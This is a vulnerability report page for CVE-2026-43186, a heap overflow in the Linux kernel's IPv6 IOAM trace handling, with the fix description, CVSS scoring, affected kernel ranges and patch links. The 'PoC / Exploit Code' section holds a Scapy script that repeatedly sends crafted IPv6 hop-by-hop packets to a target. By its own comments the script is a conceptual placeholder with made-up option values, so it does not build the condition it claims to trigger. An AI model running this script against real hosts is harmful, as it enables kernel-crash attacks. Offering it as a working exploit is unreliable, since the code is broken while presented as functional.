Security Vulnerability Report
中文
CVE-2026-43186 CVSS 9.8 CRITICAL

CVE-2026-43186

Published: 2026-05-06 12:16:37
Last Modified: 2026-05-11 20:40:56
Source: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

Description

In the Linux kernel, the following vulnerability has been resolved: ipv6: ioam: fix heap buffer overflow in __ioam6_fill_trace_data() On the receive path, __ioam6_fill_trace_data() uses trace->nodelen to decide how much data to write for each node. It trusts this field as-is from the incoming packet, with no consistency check against trace->type (the 24-bit field that tells which data items are present). A crafted packet can set nodelen=0 while setting type bits 0-21, causing the function to write ~100 bytes past the allocated region (into skb_shared_info), which corrupts adjacent heap memory and leads to a kernel panic. Add a shared helper ioam6_trace_compute_nodelen() in ioam6.c to derive the expected nodelen from the type field, and use it: - in ioam6_iptunnel.c (send path, existing validation) to replace the open-coded computation; - in exthdrs.c (receive path, ipv6_hop_ioam) to drop packets whose nodelen is inconsistent with the type field, before any data is written. Per RFC 9197, bits 12-21 are each short (4-octet) fields, so they are included in IOAM6_MASK_SHORT_FIELDS (changed from 0xff100000 to 0xff1ffc00).

CVSS Details

CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE
Linux Kernel (IOAM enabled, versions prior to specific commits in stable branches)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 # PoC for CVE-2026-43186: Linux Kernel IPv6 IOAM Heap Buffer Overflow # This script crafts a malicious IPv6 packet with IOAM headers to trigger the overflow. # Requires Scapy: pip install scapy from scapy.all import * # Define the IOAM option type ( experimental, based on context ) # Note: Actual option type IDs may vary based on kernel configuration. # This PoC demonstrates the structure: nodelen=0, type bits set. def build_ioam_packet(target_ip): # Ethernet header eth = Ether(dst="ff:ff:ff:ff:ff:ff") # IPv6 Header ipv6 = IPv6(dst=target_ip, nh=0) # Next Header: Hop-by-Hop Options # Hop-by-Hop Options Header # We need to construct an IOAM option inside. # Exploit condition: nodelen=0, but type bits are set. # IOAM Trace Option structure (simplified for PoC) # Type (1 byte) | Length (1 byte) | Data... # The vulnerability relies on the internal 'trace' structure parsing. # Constructing the payload to simulate the crafted packet described # Type field indicates data is present (bits 0-21), but NodeLen is 0. # Malicious IOAM data placeholder # In a real scenario, specific bit manipulation is required to match the kernel's IOAM6_TYPE_* definitions. # Here we simulate the conflicting fields. ioam_type = 0x1F # Hypothetical type with bits set ioam_len = 0x00 # Exploit: nodelen is 0 # Pad the rest of the option to satisfy header alignment if needed # The overflow happens when the kernel processes this specific option. hbh = IPv6ExtHdrHopByHop(options=[ PadN(opttype=1, optdata=b'\x00'), # Placeholder # Constructing a raw option to bypass scapy's default encoders if necessary # This is a conceptual representation ]) # To specifically target CVE-2026-43186, one would need to craft the exact IOAM6 trace data. # Below is a generic raw payload structure often used in such research. raw_payload = bytes([ 0x3C, # IOAM Option Type (Example value) 0x04, # Option Length (Example) # Trace Data follows here, manipulated to trigger the bug 0x00, 0x00, 0x00, 0x00 # nodelen set implicitly low or zero via manipulation ]) packet = eth / ipv6 / hbh / Raw(load=raw_payload) return packet if __name__ == "__main__": target = "2001:db8::1" # Link-local or global target address pkt = build_ioam_packet(target) print(f"[*] Sending malicious packet to {target}...") sendp(pkt, iface="eth0", loop=1, verbose=1)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-43186", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T12:16:37.300", "lastModified": "2026-05-11T20:40:56.187", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nipv6: ioam: fix heap buffer overflow in __ioam6_fill_trace_data()\n\nOn the receive path, __ioam6_fill_trace_data() uses trace->nodelen\nto decide how much data to write for each node. It trusts this field\nas-is from the incoming packet, with no consistency check against\ntrace->type (the 24-bit field that tells which data items are\npresent). A crafted packet can set nodelen=0 while setting type bits\n0-21, causing the function to write ~100 bytes past the allocated\nregion (into skb_shared_info), which corrupts adjacent heap memory\nand leads to a kernel panic.\n\nAdd a shared helper ioam6_trace_compute_nodelen() in ioam6.c to\nderive the expected nodelen from the type field, and use it:\n\n - in ioam6_iptunnel.c (send path, existing validation) to replace\n the open-coded computation;\n - in exthdrs.c (receive path, ipv6_hop_ioam) to drop packets whose\n nodelen is inconsistent with the type field, before any data is\n written.\n\nPer RFC 9197, bits 12-21 are each short (4-octet) fields, so they\nare included in IOAM6_MASK_SHORT_FIELDS (changed from 0xff100000 to\n0xff1ffc00)."}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.15", "versionEndExcluding": "5.15.202", "matchCriteriaId": "B0330CE4-09CE-43EF-A9C8-CD49FFD1DC98"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.1.165", "matchCriteriaId": "797C7F46-D0BE-4FB8-A502-C5EF8E6B6654"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.128", "matchCriteriaId": "851E9353-6C09-4CC9-877E-E09DB164A3C2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.75", "matchCriteriaId": "BCE16369-98ED-41CF-8995-DFDC10B288D2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.16", "matchCriteriaId": "B4B8CDA9-BADF-4CF5-8B3B-702DE8EEA40B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.6", "matchCriteriaId": "373EEEDA-FAA1-4FB4-B6ED-DB4DD99DBE67"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/0591d6509c2ff13f09ea2998434aba0c0472e978", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/632d233cf2e64a46865ae2c064ae3c9df7c8864f", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/6db8b56eed62baacaf37486e83378a72635c04cc", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/e90346a2f1e8917d5760a44a1f61c44e3b36d96b", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/ea3632aefc04205436868541638e26f4a74d5637", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/f4d9d4b8fd839719d564651671e24c62c545c23b", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/fb3c662fafebc5b9d74417ed1de8759f6bb72143", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}